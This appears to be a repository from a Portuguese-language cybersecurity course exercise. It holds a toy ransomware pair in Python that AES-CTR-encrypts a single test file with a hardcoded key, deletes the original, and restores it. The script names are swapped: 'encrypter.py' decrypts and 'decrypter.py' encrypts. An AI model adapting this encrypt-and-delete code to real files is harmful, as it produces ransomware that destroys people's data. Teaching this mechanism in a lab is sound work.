├── teste.txt ├── README.md ├── encrypter.py └── decrypter.py /teste.txt: -------------------------------------------------------------------------------- 1 | Este eh um arquivo descriptografado e perfeitamente legivel 2 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # desafio-modulo2-cibersecurity 2 | Código para o desafio de projeto do Módulo 2 da trilha de Cibersegurança. 3 | -------------------------------------------------------------------------------- /encrypter.py: -------------------------------------------------------------------------------- 1 | import os 2 | import pyaes 3 | 4 | ## abrir o arquivo criptografado 5 | file_name = "teste.txt.ransomwaretroll" 6 | file = open(file_name, "rb") 7 | file_data = file.read() 8 | file.close() 9 | 10 | ## chave para descriptografia 11 | key = b"testeransomwares" 12 | aes = pyaes.AESModeOfOperationCTR(key) 13 | decrypt_data = aes.decrypt(file_data) 14 | 15 | ## remover o arquivo criptografado 16 | os.remove(file_name) 17 | 18 | ## criar o arquivo descriptografado 19 | new_file = "teste.txt" 20 | new_file = open(f'{new_file}', "wb") 21 | new_file.write(decrypt_data) 22 | new_file.close() 23 | -------------------------------------------------------------------------------- /decrypter.py: -------------------------------------------------------------------------------- 1 | import os 2 | import pyaes 3 | 4 | ## abrir o arquivo a ser criptografado 5 | file_name = "teste.txt" 6 | file = open(file_name, "rb") 7 | file_data = file.read() 8 | file.close() 9 | 10 | ## remover o arquivo 11 | os.remove(file_name) 12 | 13 | ## chave de criptografia 14 | key = b"testeransomwares" 15 | aes = pyaes.AESModeOfOperationCTR(key) 16 | 17 | ## criptografar o arquivo 18 | crypto_data = aes.encrypt(file_data) 19 | 20 | ## salvar o arquivo criptografado 21 | new_file = file_name + ".ransomwaretroll" 22 | new_file = open(f'{new_file}','wb') 23 | new_file.write(crypto_data) 24 | new_file.close() 25 | --------------------------------------------------------------------------------